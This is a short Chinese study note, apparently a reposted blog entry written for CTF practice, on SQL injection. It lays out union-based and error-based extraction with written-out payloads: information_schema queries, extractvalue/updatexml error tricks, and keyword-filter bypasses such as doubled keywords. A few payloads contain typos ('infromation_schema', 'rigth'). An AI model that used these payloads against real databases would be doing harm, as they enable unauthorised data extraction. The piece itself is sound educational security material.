标签:总结 group name select sql table schema concat 注入
1.联合注入(最简单的注入)
首先我们先判断是否有注入点,通过1,1‘来看回显是否相同,不相同就存在sql注入
一般没有过滤字符,我们可以使用万能密码进行登入
登入后,使用 order by 来进行字段数的判断。
判断出字段数后,使用联合注入的方式来获取数据库名,表名,字段名
select database();
group_concat(table_name) from infromation_schema.tables where table_schema='数据库名'
group_concat(column_name) from information_schema.columns where table_name='表名'
group_concat(字段名) from 表名
2.报错注入 (根据回显的报错内容来进行注入)
一般会过滤一些字符
例如 or and union select 等等 需要一个个去试出来
可以使用双写来绕过 例如 oorr aandnd;
过滤了一些关键字符 ,如=,空格等
可以使用like 代替 =
()代替=
xpath报错
可以使用extractvalue,updatexml
语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
当我们正常使用函数时,返回正常值,但当我们输入XPath_string错误时,会返回我们错误和我们需要的内容
extractvalue 同理
extractvalue(1,concat(0x7e,(select database()))) ->会返回database()信息(0x7e->~,~不属于xpath属于,所以会报错)
extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名')))爆表名
extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名')))爆字段名
extractvalue(1,concat(0x7e,(select group_concat('字段名') from '表名')))
可能还会遇到一些flag显示不全
可以用right,left 函数
rigth("abc",1)->c
group_concat(rigth(字段名,10)) 。。。 显示后10位
标签:总结,group,name,select,sql,table,schema,concat,注入 来源: https://www.cnblogs.com/ZjYj/p/15548250.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。